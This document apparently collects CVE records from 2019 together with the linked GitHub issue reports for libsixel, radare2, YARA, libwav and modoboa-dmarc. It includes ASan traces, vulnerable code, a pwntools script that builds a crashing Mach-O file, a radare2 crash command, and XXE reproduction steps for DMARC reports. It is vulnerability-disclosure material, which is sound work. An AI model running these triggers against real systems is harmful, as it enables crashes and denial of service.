SUMMARY: AddressSanitizer: heap-buffer-overflow (/src/aflbuild/installed/bin/img2sixel+0x4a2fb4) in __asan_memset
Shadow bytes around the buggy address:
0x0c527fff91f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff9200: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff9210: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff9220: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c527fff9230: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c527fff9240:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff9250: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff9260: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff9270: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff9280: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c527fff9290: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==11466==ABORTING
```
### others
from fuzz project pwd-libsixel-img2sixel-03
crash name pwd-libsixel-img2sixel-03-00000032-20191120.pnm
Auto-generated by pyspider at 2019-11-20 19:32:45
please send email to teamseri0us360@gmail.com if you have any questions.
|
A heap-buffer-overflow in function sixel_decode_raw_impl at fromsixel.c:608-4, due to integer overflow
|
https://api.github.com/repos/saitoha/libsixel/issues/103/comments
| 2
|
2019-12-02T10:49:48Z
|
2019-12-17T12:05:50Z
|
https://github.com/saitoha/libsixel/issues/103
| 531,046,092
| 103
| 875
|
CVE-2019-19636
|
2019-12-08T03:15:10.973
|
An issue was discovered in libsixel 1.8.2. There is an integer overflow in the function sixel_encode_body at tosixel.c.
|
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{
"acInsufInfo": false,
"baseSeverity": "HIGH",
"cvssData": {
"accessComplexity": "LOW",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
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"attackVector": "NETWORK",
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"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
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"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
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|
[
{
"source": "cve@mitre.org",
"tags": [
"Third Party Advisory"
],
"url": "https://github.com/saitoha/libsixel/issues/104"
},
{
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190
|
https://github.com/saitoha/libsixel/issues/104
|
[
"Third Party Advisory"
] |
github.com
|
[
"saitoha",
"libsixel"
] |
# libsixel
## version
libsixel 1.8.2
## description
```txt
None
```
## download link
None
## others
please send email to teamseri0us360@gmail.com if you have any questions.
---------------------
## sixel_encode_body@tosixel.c:562-38___SEGV_UNKNOW
### description
An issue was discovered in libsixel 1.8.2, There is an integer overflow in function sixel_encode_body at tosixel.c:562-38
### commandline
img2sixel @@ -o /dev/null
### source
```c
558 }
559 for (x = 0; x < width; x++) {
560 pix = pixels[y * width + x]; /* color index */
561 if (pix >= 0 && pix < ncolors && pix != keycolor) {
> 562 map[pix * width + x] |= (1 << i);
563 }
564 else if (!palstate) {
565 fillable = 0;
566 }
567 }
```
### bug report
```txt
ASAN:DEADLYSIGNAL
=================================================================
==23526==ERROR: AddressSanitizer: SEGV on unknown address 0x7f1651943dc8 (pc 0x7f17a65b9d04 bp 0x7ffecb75fbd0 sp 0x7ffecb75fa00 T0)
#0 0x7f17a65b9d03 in sixel_encode_body /src/libsixel/src/tosixel.c:562:38
#1 0x7f17a65b30ce in sixel_encode_dither /src/libsixel/src/tosixel.c:802:14
#2 0x7f17a65b30ce in sixel_encode /src/libsixel/src/tosixel.c:1488
#3 0x7f17a66b31ee in sixel_encoder_output_without_macro /src/libsixel/src/encoder.c:820:14
#4 0x7f17a66b31ee in sixel_encoder_encode_frame /src/libsixel/src/encoder.c:1050
#5 0x7f17a6608883 in load_with_builtin /src/libsixel/src/loader.c:913:14
#6 0x7f17a6608883 in sixel_helper_load_image_file /src/libsixel/src/loader.c:1352
#7 0x7f17a66b05bc in sixel_encoder_encode /src/libsixel/src/encoder.c:1737:14
#8 0x4ebd82 in main /src/libsixel/converters/img2sixel.c:457:22
#9 0x7f17a51ed82f in __libc_start_main /build/glibc-LK5gWL/glibc-2.23/csu/../csu/libc-start.c:291
#10 0x418d38 in _start (/src/aflbuild/installed/bin/img2sixel+0x418d38)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /src/libsixel/src/tosixel.c:562:38 in sixel_encode_body
==23526==ABORTING
```
### others
from fuzz project pwd-libsixel-img2sixel-03
crash name pwd-libsixel-img2sixel-03-00000076-20191201.pnm
Auto-generated by pyspider at 2019-12-01 23:22:18
please send email to teamseri0us360@gmail.com if you have any questions.
|
An integer overflow in function sixel_encode_body at tosixel.c:562-38
|
https://api.github.com/repos/saitoha/libsixel/issues/104/comments
| 2
|
2019-12-02T10:51:14Z
|
2019-12-17T12:05:34Z
|
https://github.com/saitoha/libsixel/issues/104
| 531,046,886
| 104
| 876
|
CVE-2019-19637
|
2019-12-08T03:15:11.020
|
An issue was discovered in libsixel 1.8.2. There is an integer overflow in the function sixel_decode_raw_impl at fromsixel.c.
|
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"acInsufInfo": false,
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"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 7.5,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 10,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": false
}
],
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"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
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}
|
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"source": "cve@mitre.org",
"tags": [
"Third Party Advisory"
],
"url": "https://github.com/saitoha/libsixel/issues/105"
},
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}
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[
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190
|
https://github.com/saitoha/libsixel/issues/105
|
[
"Third Party Advisory"
] |
github.com
|
[
"saitoha",
"libsixel"
] |
# libsixel
## version
libsixel 1.8.2
## description
```txt
None
```
## download link
None
## others
please send email to teamseri0us360@gmail.com if you have any questions.
---------------------
## sixel_decode_raw_impl@fromsixel.c:650_integer_overflow
### description
An issue was discovered in libsixel 1.8.2, There is an integer overflow in function sixel_decode_raw_impl at fromsixel.c:650
### commandline
img2sixel @@ -o /dev/null
### source
In a while loop, it do not check if integer overflow is in `context->param = context->param * 10 + *p - '0';`
```cpp
switch (*p) {
case '\x1b':
context->state = PS_ESC;
p++;
break;
case '0':
case '1':
case '2':
case '3':
case '4':
case '5':
case '6':
case '7':
case '8':
case '9':
context->param = context->param * 10 + *p - '0';
p++;
break;
case ';':
if (context->nparams < DECSIXEL_PARAMS_MAX) {
context->params[context->nparams++] = context->param;
}
context->param = 0;
p++;
break;
default:
```
|
An integer overflow in function sixel_decode_raw_impl at fromsixel.c:650
|
https://api.github.com/repos/saitoha/libsixel/issues/105/comments
| 2
|
2019-12-02T10:52:00Z
|
2019-12-17T12:05:12Z
|
https://github.com/saitoha/libsixel/issues/105
| 531,047,331
| 105
| 877
|
CVE-2019-19647
|
2019-12-09T01:15:10.280
|
radare2 through 4.0.0 lacks validation of the content variable in the function r_asm_pseudo_incbin at libr/asm/asm.c, ultimately leading to an arbitrary write. This allows remote attackers to cause a denial of service (application crash) or possibly have unspecified other impact via crafted input.
|
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{
"acInsufInfo": false,
"baseSeverity": "MEDIUM",
"cvssData": {
"accessComplexity": "MEDIUM",
"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
"confidentialityImpact": "PARTIAL",
"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
},
"exploitabilityScore": 8.6,
"impactScore": 6.4,
"obtainAllPrivilege": false,
"obtainOtherPrivilege": false,
"obtainUserPrivilege": false,
"source": "nvd@nist.gov",
"type": "Primary",
"userInteractionRequired": true
}
],
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
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"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
}
|
[
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/radareorg/radare2/issues/15545"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/WRQXCOVFWZIIMAZIAAFAVQGZOS7LGHXP/"
},
{
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},
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}
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[
"476"
] |
476
|
https://github.com/radareorg/radare2/issues/15545
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"radareorg",
"radare2"
] |
### Work environment
| Questions | Answers
|------------------------------------------------------|--------------------
| OS/arch/bits (mandatory) | Ubuntu x86 64
| File format of the file you reverse (mandatory) | None
| Architecture/bits of the file (mandatory) | None
| r2 -v full output, **not truncated** (mandatory) | radare2 4.1.0-git 23530 @ linux-x86-64 git.4.0.0-174-gb7cc6999a commit: b7cc6999ac0bfaff51039af960ac86b2e6bb1c91 build: 2019-12-05__21:51:53
### Expected behavior
```bash
$ r2 malloc://1024
[0x00000000]> /a .incbin NoExistFile 0 0 # Expect No Crash
```
### Actual behavior
```bash
$ r2 malloc://1024
[0x00000000]> /a .incbin NoExistFile 0 0
Segmentation fault
```
### Steps to reproduce the behavior
- Please follow the steps I list above
### Additional Logs, screenshots, source-code, configuration dump, ...
At [libr/asm/asm.c](https://github.com/radareorg/radare2/blob/204b7317beb1ede1ba352b13f7ebb09efff1c55d/libr/asm/asm.c#L157), the lack of validation check of variable [content](https://github.com/radareorg/radare2/blob/204b7317beb1ede1ba352b13f7ebb09efff1c55d/libr/asm/asm.c#L165) will cause crash and arbitrary read via craft input.
below is the vulnerable code.
```c
static inline int r_asm_pseudo_incbin(RAsmOp *op, char *input) {
int bytes_read = 0;
r_str_replace_char (input, ',', ' ');
// int len = r_str_word_count (input);
r_str_word_set0 (input);
//const char *filename = r_str_word_get0 (input, 0);
int skip = (int)r_num_math (NULL, r_str_word_get0 (input, 1));
int count = (int)r_num_math (NULL,r_str_word_get0 (input, 2));
char *content = r_file_slurp (input, &bytes_read);
if (skip > 0) {
skip = skip > bytes_read ? bytes_read : skip;
}
if (count > 0) {
count = count > bytes_read ? 0 : count;
} else {
count = bytes_read;
}
// Need to handle arbitrary amount of data
r_buf_free (op->buf_inc);
op->buf_inc = r_buf_new_with_string (content + skip);
// Terminate the original buffer
free (content);
return count;
}
```
If `r_file_slurp` tries to open an invalid file, `content` will be NULL. Later, because `skip` is the input number, `r_buf_new_with_string (content + skip)` will cause crash, or arbitrary write via crafted input.
|
Lack of Validation Check for `r_asm_pseudo_incbin` at `libr/asm/asm.c`
|
https://api.github.com/repos/radareorg/radare2/issues/15545/comments
| 1
|
2019-12-06T07:49:36Z
|
2019-12-15T22:38:41Z
|
https://github.com/radareorg/radare2/issues/15545
| 533,802,860
| 15,545
| 879
|
CVE-2019-19648
|
2019-12-09T01:15:10.357
|
In the macho_parse_file functionality in macho/macho.c of YARA 3.11.0, command_size may be inconsistent with the real size. A specially crafted MachO file can cause an out-of-bounds memory access, resulting in Denial of Service (application crash) or potential code execution.
|
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"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 6.8,
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"integrityImpact": "PARTIAL",
"vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P",
"version": "2.0"
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"type": "Primary"
}
],
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|
[
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"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/VirusTotal/yara/issues/1178"
},
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"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FKNXSH5ERG6NELTXCYVJLUPJJJ2TNEBD/"
},
{
"source": "cve@mitre.org",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/XXM224OLGI6KAOROLDPPGGCZ2OQVQ6HH/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/VirusTotal/yara/issues/1178"
},
{
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"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FKNXSH5ERG6NELTXCYVJLUPJJJ2TNEBD/"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": null,
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/XXM224OLGI6KAOROLDPPGGCZ2OQVQ6HH/"
}
] |
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[
"125"
] |
125
|
https://github.com/VirusTotal/yara/issues/1178
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"VirusTotal",
"yara"
] |
In [libyara/modules/macho/macho.c](https://github.com/VirusTotal/yara/blob/master/libyara/modules/macho/macho.c), yara doesn't check whether the variable [command_size](https://github.com/VirusTotal/yara/blob/master/libyara/modules/macho/macho.c#L370) is consistent with the command's real size. A crafted MachO file will lead an out-of-bounds memory access later.
Following is the bug code.
```c
uint8_t *command = (uint8_t*)(header + 1); \
for (unsigned i = 0; i < yr_##bo##32toh(header->ncmds); i++) \
{ \
yr_load_command_t* command_struct = (yr_load_command_t*)command; \
uint64_t command_size = yr_##bo##32toh(command_struct->cmdsize); \
\
if (size < parsed_size + command_size) \
break; \
\
switch(yr_##bo##32toh(command_struct->cmd)) \
{ \
case LC_SEGMENT: \
case LC_SEGMENT_64: \
{ \
macho_handle_segment_##bits##_##bo(command, seg_count++, object); \
break; \
} \
case LC_UNIXTHREAD: \
{ \
macho_handle_unixthread_##bo(command, object, context); \
break; \
} \
case LC_MAIN: \
{ \
macho_handle_main_##bo(command, object, context); \
break; \
} \
}
```
Take an example. If the size is 0x4000, `ncmds == 2`, and there is only one command whose size is `0x4000-28`. The memory layout of the crafted macho would look like:
```
[HEADER 28 bytes][FIRST COMMAND 0x4000-28 bytes]
```
Thus, when yara tries to handle the second command [here](https://github.com/VirusTotal/yara/blob/master/libyara/modules/macho/macho.c#L370), yara will access the address after [data](https://github.com/VirusTotal/yara/blob/master/libyara/modules/macho/macho.c#L341), causing an out-of-bounds memory access. This will cause crash or potentials code executions.
The poc is attach:
```bash
$ cat poc.r
import "macho"
$ pip install pwntools
$ cat get_macho.py
from pwn import *
my_p8 = p8
my_p16 = p16
my_p32 = p32
def get_header():
header = my_p32(0xfeedface)
header += my_p32(0) * 3
header += my_p32(2)
header += my_p32(0) * 2
return header
def get_cmd1():
cmd_size = 0x4000 - 28
cmd = my_p32(0xdeadbeef)
cmd += my_p32(cmd_size)
cmd = cmd.ljust(cmd_size, '\x00')
return cmd
if __name__ == "__main__":
macho = get_header()
macho += get_cmd1()
f = file("my_macho", "wb")
f.write(macho)
f.close()
$ python get_macho.py
$ ./yara poc.r my_macho
=================================================================
==31861==ERROR: AddressSanitizer: unknown-crash on address 0x7f15a4ff6004 at pc 0x7f15a3b6c7b3 bp 0x7ffd89ba7310 sp 0x7ffd89ba7300
READ of size 4 at 0x7f15a4ff6004 thread T0
#0 0x7f15a3b6c7b2 in macho_parse_file_32_le.part.0 (/homes/xxx/Github/yara/libyara/.libs/libyara.so.3+0x5a7b2)
#1 0x7f15a3b7621d in macho__load (/homes/xxx/Github/yara/libyara/.libs/libyara.so.3+0x6421d)
#2 0x7f15a3bc847e in yr_modules_load (/homes/xxx/Github/yara/libyara/.libs/libyara.so.3+0xb647e)
#3 0x7f15a3ba1ece in yr_execute_code (/homes/xxx/Github/yara/libyara/.libs/libyara.so.3+0x8fece)
#4 0x7f15a3bf50ff in yr_scanner_scan_mem_blocks (/homes/xxx/Github/yara/libyara/.libs/libyara.so.3+0xe30ff)
#5 0x7f15a3bf5e7c in yr_scanner_scan_mem (/homes/xxx/Github/yara/libyara/.libs/libyara.so.3+0xe3e7c)
#6 0x7f15a3bf6027 in yr_scanner_scan_file (/homes/xxx/Github/yara/libyara/.libs/libyara.so.3+0xe4027)
#7 0x5629e567293e in main (/homes/u28/xxx/Github/yara/.libs/yara+0x793e)
#8 0x7f15a3523b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#9 0x5629e5673319 in _start (/homes/u28/xxx/Github/yara/.libs/yara+0x8319)
Address 0x7f15a4ff6004 is a wild pointer.
SUMMARY: AddressSanitizer: unknown-crash (/homes/xxx/Github/yara/libyara/.libs/libyara.so.3+0x5a7b2) in macho_parse_file_32_le.part.0
Shadow bytes around the buggy address:
0x0fe3349f6bb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe3349f6bc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe3349f6bd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe3349f6be0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0fe3349f6bf0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0fe3349f6c00:[fe]fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
0x0fe3349f6c10: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
0x0fe3349f6c20: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
0x0fe3349f6c30: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
0x0fe3349f6c40: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
0x0fe3349f6c50: fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe fe
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==31861==ABORTING
```
Crafted MachO [my_macho](https://github.com/VirusTotal/yara/files/3936000/my_macho.zip) is also attached.
|
Out-of-Bounds Memory Access in macho module
|
https://api.github.com/repos/VirusTotal/yara/issues/1178/comments
| 5
|
2019-12-08T08:50:29Z
|
2021-12-22T21:11:54Z
|
https://github.com/VirusTotal/yara/issues/1178
| 534,511,077
| 1,178
| 880
|
CVE-2019-19698
|
2019-12-10T07:15:11.210
|
marc-q libwav through 2017-04-20 has a NULL pointer dereference in wav_content_read() at libwav.c.
|
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"accessVector": "NETWORK",
"authentication": "NONE",
"availabilityImpact": "PARTIAL",
"baseScore": 4.3,
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"vectorString": "AV:N/AC:M/Au:N/C:N/I:N/A:P",
"version": "2.0"
},
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}
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"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
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"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
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}
|
[
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/marc-q/libwav/issues/25"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/xiaoxiongwang/security/tree/master/libwav"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
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},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/xiaoxiongwang/security/tree/master/libwav"
}
] |
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] |
476
|
https://github.com/marc-q/libwav/issues/25
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"marc-q",
"libwav"
] |
# SEGV in function wav_content_read in libwav.c
Tested in Ubuntu 14.04, 32bit
I use the [file](https://github.com/xiaoxiongwang/security/blob/master/libwav/wav_gain_crash_SEGV_wav_content_read.wav) and the following command:
```shell
./wav_gain wav_gain_crash_SEGV_wav_content_read.wav test.wav
```
and get:
```
Segmentation fault (core dumped)
```
I use **valgrind** to analysis the bug and get the below information:
```
==6300== Memcheck, a memory error detector
==6300== Copyright (C) 2002-2013, and GNU GPL'd, by Julian Seward et al.
==6300== Using Valgrind-3.10.1 and LibVEX; rerun with -h for copyright info
==6300== Command: /vagrant/target_progs/target_libwav/libwav/tools/wav_gain/wav_gain /vagrant/crash/libwav/wav_gain/cmp/fuzz_out_wav_gain_cmp/crashes/id:000003,sig:11,src:000010,op:havoc,rep:8,cmp,wav_gain test
==6300==
==6300== Argument 'size' of function malloc has a fishy (possibly negative) value: -218104064
==6300== at 0x402917C: malloc (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==6300== by 0x804A317: wav_chunk_read (libwav.c:165)
==6300== by 0x804A317: wav_read (libwav.c:254)
==6300== by 0x8048861: gain_file (wav_gain.c:20)
==6300== by 0x8048861: main (wav_gain.c:43)
==6300==
==6300== Invalid write of size 4
==6300== at 0x40B8C3C: __GI_mempcpy (mempcpy.S:54)
==6300== by 0x40AB017: _IO_file_xsgetn (fileops.c:1396)
==6300== by 0x40ACE07: _IO_sgetn (genops.c:495)
==6300== by 0x40A0418: fread (iofread.c:42)
==6300== by 0x804A33A: fread (stdio2.h:295)
==6300== by 0x804A33A: wav_content_read (libwav.c:11)
==6300== by 0x804A33A: wav_chunk_read (libwav.c:166)
==6300== by 0x804A33A: wav_read (libwav.c:254)
==6300== by 0x8048861: gain_file (wav_gain.c:20)
==6300== by 0x8048861: main (wav_gain.c:43)
==6300== Address 0x0 is not stack'd, malloc'd or (recently) free'd
==6300==
==6300==
==6300== Process terminating with default action of signal 11 (SIGSEGV)
==6300== Access not within mapped region at address 0x0
==6300== at 0x40B8C3C: __GI_mempcpy (mempcpy.S:54)
==6300== by 0x40AB017: _IO_file_xsgetn (fileops.c:1396)
==6300== by 0x40ACE07: _IO_sgetn (genops.c:495)
==6300== by 0x40A0418: fread (iofread.c:42)
==6300== by 0x804A33A: fread (stdio2.h:295)
==6300== by 0x804A33A: wav_content_read (libwav.c:11)
==6300== by 0x804A33A: wav_chunk_read (libwav.c:166)
==6300== by 0x804A33A: wav_read (libwav.c:254)
==6300== by 0x8048861: gain_file (wav_gain.c:20)
==6300== by 0x8048861: main (wav_gain.c:43)
==6300== If you believe this happened as a result of a stack
==6300== overflow in your program's main thread (unlikely but
==6300== possible), you can try to increase the size of the
==6300== main thread stack using the --main-stacksize= flag.
==6300== The main thread stack size used in this run was 8388608.
LibWAV v. 0.0.1 A (c) 2016 - 2017 Marc Volker Dickmann
==6300==
==6300== HEAP SUMMARY:
==6300== in use at exit: 352 bytes in 1 blocks
==6300== total heap usage: 1 allocs, 0 frees, 352 bytes allocated
==6300==
==6300== LEAK SUMMARY:
==6300== definitely lost: 0 bytes in 0 blocks
==6300== indirectly lost: 0 bytes in 0 blocks
==6300== possibly lost: 0 bytes in 0 blocks
==6300== still reachable: 352 bytes in 1 blocks
==6300== suppressed: 0 bytes in 0 blocks
==6300== Rerun with --leak-check=full to see details of leaked memory
==6300==
==6300== For counts of detected and suppressed errors, rerun with: -v
==6300== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 0 from 0)
Segmentation fault (core dumped)
```
I use **gcc 4.8** and **AddressSanitizer** to build libwav, this [file](https://github.com/xiaoxiongwang/security/blob/master/libwav/wav_gain_crash_SEGV_wav_content_read.wav) can cause SEGV signal in function wav\_content\_read when running the wav_gain in folder tools/wav_gain with the following command:
```shell
./wav_gain wav_gain_crash_SEGV_wav_content_read.wav test.wav
```
This is the ASAN information:
```
==6303== WARNING: AddressSanitizer failed to allocate 0xf2ffff00 bytes
ASAN:SIGSEGV
=================================================================
==6303== ERROR: AddressSanitizer: SEGV on unknown address 0x00000000 (pc 0xb5fe7c3c sp 0xbfe12d5c bp 0xb5e03e00 T0)
AddressSanitizer can not provide additional info.
#0 0xb5fe7c3b (/lib/i386-linux-gnu/libc-2.19.so+0x7cc3b)
#1 0xb5fda017 (/lib/i386-linux-gnu/libc-2.19.so+0x6f017)
#2 0xb5fdbe07 (/lib/i386-linux-gnu/libc-2.19.so+0x70e07)
#3 0xb5fcf418 (/lib/i386-linux-gnu/libc-2.19.so+0x64418)
#4 0x80493cd (/vagrant/target_progs/target_libwav1/libwav1/tools/wav_gain/wav_gain+0x80493cd)
#5 0x8049ac2 (/vagrant/target_progs/target_libwav1/libwav1/tools/wav_gain/wav_gain+0x8049ac2)
#6 0x8048982 (/vagrant/target_progs/target_libwav1/libwav1/tools/wav_gain/wav_gain+0x8048982)
#7 0xb5f84af2 (/lib/i386-linux-gnu/libc-2.19.so+0x19af2)
#8 0x8048b90 (/vagrant/target_progs/target_libwav1/libwav1/tools/wav_gain/wav_gain+0x8048b90)
==6303== ABORTING
```
|
SEGV in function wav_content_read in libwav.c
|
https://api.github.com/repos/marc-q/libwav/issues/25/comments
| 1
|
2019-10-24T07:14:38Z
|
2020-03-06T16:21:50Z
|
https://github.com/marc-q/libwav/issues/25
| 511,754,019
| 25
| 881
|
CVE-2019-19702
|
2019-12-10T20:15:17.497
|
The modoboa-dmarc plugin 1.1.0 for Modoboa is vulnerable to an XML External Entity Injection (XXE) attack when processing XML data. A remote attacker could exploit this to perform a denial of service against the DMARC reporting functionality, such as by referencing the /dev/random file within XML documents that are emailed to the address in the rua field of the DMARC records of a domain.
|
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},
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"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
}
|
[
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"tags": [
"Exploit",
"Third Party Advisory"
],
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[
"611"
] |
611
|
https://github.com/modoboa/modoboa-dmarc/issues/38
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"modoboa",
"modoboa-dmarc"
] |
<h2>Background</h2>
XXE Injection is a type of attack against an application that parses XML input. By default, many XML processors allow specification of an external entity, a URI that is dereferenced
and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.
Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.
<h2> Steps to reproduce </h2>
1) Using the XML file in the [Gist](https://gist.github.com/pjlantz/7dce443100384e5ecb8828d8a5a11d72), run the following to create a zip attachment
```
zip -r report.zip dmarc_report.xml && base64 report.zip
```
Copy and paste the base64 encoding into one of the test reports, for example [this one](https://github.com/modoboa/modoboa-dmarc/blob/master/modoboa_dmarc/tests/reports/Report_Domain_ngyn.org_Submitter_163.com_Report-ID_aggr_report_ngyn.org_20150705_163.com.eml).
2) Import the aggregated report
```
cat report.eml | python manage.py import_aggregated_report --pipe
```
This will trigger XML processing of the document.
<h2> Impact </h2>
After running the commands above the database will be populated with the injected data. However, at the moment there is no way to view the injected data, for example via the web interface.
Another feasible attack is a denial of service against the DMARC reporting functionality. By substituting ```file://etc/hostname``` with ```file://dev/random``` in the [XML document](https://gist.github.com/pjlantz/7dce443100384e5ecb8828d8a5a11d72), will cause the import of the aggregated report to block while processing the XML document.
A remote attacker can send a number of such DMARC reports to the mail specified in the RUA attribute of the DNS records. This will block any legitimate DMARC reports to reach the RUA email and will be put in the mail queue. Eventually, it may reach, since postfix has a timeout mechanism that will abort the report import but depending on the postfix configuration and number of DoS mails sent it may take quite some time. Note that by default, postfix allows a maximum of 20 concurrent processes to parse the DMARC reports. This can be increased as described in the next attack.
Yet another possible attack is a variant of the previous one. This one can cause a DoS against the Modoboa application or even the hosting server. Given that an instance of Modoboa hosts several domains, an attacker could send DMARC reports to each RUA addresses for all of the domains and this way trigger more concurrent processes. This attack can be reproduced by creating a few domains in the web interface and adding an entry for each domain to ```/etc/postfix/dmarc_transport``` (one domain and email per line). Following this, send a number of emails to each RUA and observe that the number of processes increase, as shown in the figure
